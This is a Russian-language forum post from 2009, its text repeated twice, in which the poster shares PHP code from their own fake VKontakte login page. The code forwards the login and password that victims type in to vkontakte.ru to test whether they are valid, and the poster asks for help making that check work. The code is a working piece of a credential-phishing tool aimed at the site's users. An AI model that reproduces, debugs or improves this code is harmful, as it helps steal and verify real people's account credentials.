andruhasms
14.01.2009, 19:46
Значит имею следующий код
$passwd = $_POST["pass"];
$klogin = $_POST["login"];
$sock = fsockopen("www.vkontakte.ru", 80);
//Now check login & password
$request = "GET /login.php?email=" . $klogin . "&pass=" . $passwd . " HTTP/1.1\r\n";
$request .= "Host: vkontakte.ru\r\n\r\n";
if(isset($sock) && $sock != null){
fputs($sock, $request);
$answ = fread($sock,256);
fclose($sock);
}
if (ereg("302 Found", $answ)) {
$check = 1;
}
Php я не знаю ,но насколько я понял , в этом куске открывается сокс и передаются логин и пасс на сайт контакта , если их там нет ,то сервак возвращает значение "302 Found" ,.Так вот Вконтакте сменили что-ли возвращаемое значение ,если логин и пасс неверные?Как узнать возвращаемое значение КОНТАКТА ,если логин и пасс неверны? Ибо мой фейк записывает все введённые даннные в логин и пасс!Т.е это условие
if (ereg("302 Found", $answ)) {
$check = 1;
никогда не бывает истинно!
Программисты этого форума помогите пожалуйста)))))
разобраться в чём тут дело!
$passwd = $_POST["pass"];
$klogin = $_POST["login"];
$sock = fsockopen("www.vkontakte.ru", 80);
//Now check login & password
$request = "GET /login.php?email=" . $klogin . "&pass=" . $passwd . " HTTP/1.1\r\n";
$request .= "Host: vkontakte.ru\r\n\r\n";
if(isset($sock) && $sock != null){
fputs($sock, $request);
$answ = fread($sock,256);
fclose($sock);
}
if (ereg("302 Found", $answ)) {
$check = 1;
}
Php я не знаю ,но насколько я понял , в этом куске открывается сокс и передаются логин и пасс на сайт контакта , если их там нет ,то сервак возвращает значение "302 Found" ,.Так вот Вконтакте сменили что-ли возвращаемое значение ,если логин и пасс неверные?Как узнать возвращаемое значение КОНТАКТА ,если логин и пасс неверны? Ибо мой фейк записывает все введённые даннные в логин и пасс!Т.е это условие
if (ereg("302 Found", $answ)) {
$check = 1;
никогда не бывает истинно!
Программисты этого форума помогите пожалуйста)))))
разобраться в чём тут дело!